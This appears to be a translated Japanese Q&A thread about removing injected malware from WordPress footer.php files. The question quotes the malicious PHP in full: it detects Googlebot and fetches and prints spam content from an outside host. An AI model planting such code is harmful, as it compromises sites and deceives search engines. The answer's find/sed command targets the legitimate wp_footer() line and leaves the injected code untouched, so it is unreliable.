すべてのWordPressフッターの下部にマルウェアリンクがあります。
複数のfooter.phpから次のコンテンツを一括削除するより良い方法が必要です。
<?php
/* Always have wp_footer() just before the closing <?php $ua00 = $_SERVER[HTTP_USER_AGENT]; $rem = "https://www.befoy.com/t.php"; $ret = stripos($ua00, googlebot); if($ret !== false and @ret >= 0){ $res = false; if( @ini_get(allow_url_fopen) ) { $ctx = @stream_context_create(array(http=>array(timeout => 10))); $res = @file_get_contents($rem, false, $ctx); } if(strlen(res) == 0 and function_exists(curl_version)) { $ch = @curl_init(); @curl_setopt($ch, CURLOPT_URL, $rem); @curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); @curl_setopt($ch, CURLOPT_NOSIGNAL, 1); @curl_setopt($ch, CURLOPT_TIMEOUT_MS, 10000); $res = @curl_exec($ch); @curl_close($ch); } if($res) { echo $res; } } ?><?php $ua00 = $_SERVER[HTTP_USER_AGENT]; $rem = "https://www.befoy.com/t.php"; $ret = stripos($ua00, googlebot); if($ret !== false and @ret >= 0){ $res = false; if( @ini_get(allow_url_fopen) ) { $ctx = @stream_context_create(array(http=>array(timeout => 10))); $res = @file_get_contents($rem, false, $ctx); } if(strlen(res) == 0 and function_exists(curl_version)) { $ch = @curl_init(); @curl_setopt($ch, CURLOPT_URL, $rem); @curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); @curl_setopt($ch, CURLOPT_NOSIGNAL, 1); @curl_setopt($ch, CURLOPT_TIMEOUT_MS, 10000); $res = @curl_exec($ch); @curl_close($ch); } if($res) { echo $res; } } ?></body>
* tag of your theme, or you will break many plugins, which
* generally use this hook to reference JavaScript files.
*/
wp_footer();
?></body>
答え1
sed
あなたの友達ですfind
。
$ find . -name *.php -exec sed 's/^wp_footer();//' \{\} \;
(整理が必要かどうかは使用するケースによって異なります)
このコマンドは文字列を何も変更しないため、空白行が残ります。